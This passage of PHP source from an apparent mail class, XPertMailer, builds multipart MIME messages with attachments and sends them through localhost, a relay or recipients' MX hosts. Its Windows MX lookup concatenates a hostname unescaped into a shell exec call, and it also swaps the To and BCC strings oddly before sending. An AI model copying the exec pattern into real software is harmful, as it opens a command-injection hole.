chunk_split(base64_encode($content)); } $sendmsg .= "--" . $this->_partmix . "--" . CRLF; } elseif ($cnt2nd > 0) { $typmime = "multipart/mixed"; $sendmsg = CRLF . "--" . $this->_partmix . CRLF . "Content-Type: multipart/alternative; boundary=\"" . $this->_part1st . "\"" . CRLF . CRLF . "--" . $this->_part1st . CRLF . "Content-Type: text/plain; charset=\"" . $charset . "\"" . CRLF . "Content-Transfer-Encoding: 7bit" . CRLF . CRLF . $reptxt . CRLF . "--" . $this->_part1st . CRLF . "Content-Type: text/html; charset=\"" . $charset . "\"" . CRLF . "Content-Transfer-Encoding: quoted-printable" . CRLF . CRLF . $this->_to_quoted($rephtm) . CRLF . "--" . $this->_part1st . "--" . CRLF; foreach ($this->_attc2nd as $attname => $attfile) { $content = file_get_contents($attfile); $sendmsg .= "--" . $this->_partmix . CRLF . "Content-Type: " . $this->mimetype($attname) . CRLF . "Content-Transfer-Encoding: base64" . CRLF . "Content-Disposition: attachment; filename=\"" . $attname . "\"" . CRLF . CRLF . chunk_split(base64_encode($content)); } $sendmsg .= "--" . $this->_partmix . "--" . CRLF; } else { $typmime = "multipart/alternative"; $sendmsg = CRLF . "--" . $this->_partmix . CRLF . "Content-Type: text/plain; charset=\"" . $charset . "\"" . CRLF . "Content-Transfer-Encoding: 7bit" . CRLF . CRLF . $reptxt . CRLF . "--" . $this->_partmix . CRLF . "Content-Type: text/html; charset=\"" . $charset . "\"" . CRLF . "Content-Transfer-Encoding: quoted-printable" . CRLF . CRLF . $this->_to_quoted($rephtm) . CRLF . "--" . $this->_partmix . "--" . CRLF; } } $tempStr = $tostr; $tostr = $bccstr; $bccstr = $tempStr; if (!empty($sendmsg)) { if ($this->_setsmtp == 1) $retval = $this->_sendtohost("localhost", $alldm, $tostr, $ccstr, $bccstr, $sendmsg, $typmime); elseif ($this->_setsmtp == 5) $retval = $this->_sendtohost($this->_relayset, $alldm, $tostr, $ccstr, $bccstr, $sendmsg, $typmime, true); elseif ($this->_setsmtp == 2) { foreach ($grpto as $namdom => $arrdom) { $retval = $this->_sendtohost($namdom, $arrdom, $tostr, $ccstr, $bccstr, $sendmsg, $typmime); } } elseif ($this->_setsmtp == 3) { if (!$retval = $this->_sendtohost("localhost", $alldm, $tostr, $ccstr, $bccstr, $sendmsg, $typmime)) { foreach ($grpto as $namdom => $arrdom) { $retval = $this->_sendtohost($namdom, $arrdom, $tostr, $ccstr, $bccstr, $sendmsg, $typmime); } } } elseif ($this->_setsmtp == 4) { foreach ($grpto as $namdom => $arrdom) { $retval = $this->_sendtohost($namdom, $arrdom, $tostr, $ccstr, $bccstr, $sendmsg, $typmime); } if (!$retval) $retval = $this->_sendtohost("localhost", $alldm, $tostr, $ccstr, $bccstr, $sendmsg, $typmime); } elseif ($this->_setsmtp == 6) { if (!$retval = $this->_sendtohost($this->_relayset, $alldm, $tostr, $ccstr, $bccstr, $sendmsg, $typmime, true)) { foreach ($grpto as $namdom => $arrdom) { $retval = $this->_sendtohost($namdom, $arrdom, $tostr, $ccstr, $bccstr, $sendmsg, $typmime); } } } elseif ($this->_setsmtp == 7) { foreach ($grpto as $namdom => $arrdom) { $retval = $this->_sendtohost($namdom, $arrdom, $tostr, $ccstr, $bccstr, $sendmsg, $typmime); } if (!$retval) $retval = $this->_sendtohost($this->_relayset, $alldm, $tostr, $ccstr, $bccstr, $sendmsg, $typmime, true); } } elseif (PRINT_ERROR) trigger_error("Unknow message type on class XPertMailer->send()", 512); } // 1 return $retval; } function priority($setpr) { if (!(is_int($setpr) && ($setpr == 1 || $setpr == 2 || $setpr == 3))) { if (PRINT_ERROR) trigger_error("Invalid priority value on class XPertMailer->priority()", 512); } else { if ($setpr == 1) $this->_priority = array("Low", "5"); elseif ($setpr == 2) $this->_priority = array("Normal", "3"); elseif ($setpr == 3) $this->_priority = array("High", "1"); } } function port($pno) { if (is_int($pno)) $this->_pnumber = $pno; elseif (PRINT_ERROR) trigger_error("Invalid port number value on class XPertMailer->port()", 512); } function from($fromusr, $fromnme = false) { if (is_string($fromusr) && $this->is_mail($fromusr)) { $this->_fromail = $fromusr; if ($fromnme) { if (is_string($fromnme) && !empty($fromnme)) $this->_fromnam = $fromnme; elseif (PRINT_ERROR) trigger_error("Invalid from name format on class XPertMailer->from()", 512); } } elseif (PRINT_ERROR) trigger_error("Invalid from mail address format on class XPertMailer->from()", 512); } function response() { return $this->response; } function _getmxrr_win($hostname, &$mxhosts) { $mxhosts = array(); if (is_string($hostname)) { $retstr = exec('nslookup -type=mx ' . $hostname, $retarr); if ($retstr && count($retarr) > 0) { foreach ($retarr as $line) if (preg_match("/.*mail exchanger = (.*)/", $line, $matches)) $mxhosts[] = $matches[1]; } } elseif (PRINT_ERROR) trigger_error("Invalid parameter type on class XPertMailer->_getmxrr_win()", 512); return (count($mxhosts) > 0); } function mimetype($filename) { $retm = "application/octet-stream"; $mime = array( 'z' => "application/x-compress", 'xls' => "application/x-excel", 'gtar' => "application/x-gtar", 'gz' => "application/x-gzip", 'cgi' => "application/x-httpd-cgi", 'php' => "application/x-httpd-php", 'js' => "application/x-javascript", 'swf' => "application/x-shockwave-flash", 'tar' => "application/x-tar", 'tgz' => "application/x-tar", 'tcl' => "application/x-tcl", 'src' => "application/x-wais-source", 'zip' => "application/zip", 'kar' => "audio/midi", 'mid' => "audio/midi", 'midi' => "audio/midi", 'mp2' => "audio/mpeg", 'mp3' => "audio/mpeg", 'mpga' => "audio/mpeg", 'ram' => "audio/x-pn-realaudio", 'rm' => "audio/x-pn-realaudio", 'rpm' => "audio/x-pn-realaudio-plugin", 'wav' => "audio/x-wav", 'bmp' => "image/bmp", 'fif' => "image/fif", 'gif' => "image/gif", 'ief' => "image/ief", 'jpe' => "image/jpeg", 'jpeg' => "image/jpeg", 'jpg' => "image/jpeg", 'png' => "image/png", 'tif' => "image/tiff", 'tiff' => "image/tiff", 'css' => "text/css", 'htm' => "text/html", 'html' => "text/html", 'txt' => "text/plain", 'rtx' => "text/richtext", 'vcf' => "text/x-vcard", 'xml' => "text/xml", 'xsl' => "text/xsl", 'mpe' => "video/mpeg", 'mpeg' => "video/mpeg", 'mpg' => "video/mpeg", 'mov' => "video/quicktime", 'qt' => "video/quicktime", 'rv' => "video/vnd.rn-realvideo", 'asf' => "video/x-ms-asf", 'asx' => "video/x-ms-asf", 'avi' => "video/x-msvideo", 'vrml' => "x-world/x-vrml", 'wrl' => "x-world/x-vrml" ); $expext = explode(".", $filename); if (count($expext) >= 2) { $extnam = strtolower($expext[count($expext) - 1]); if (isset($mime[$extnam])) $retm = $mime[$extnam]; } return $retm; } }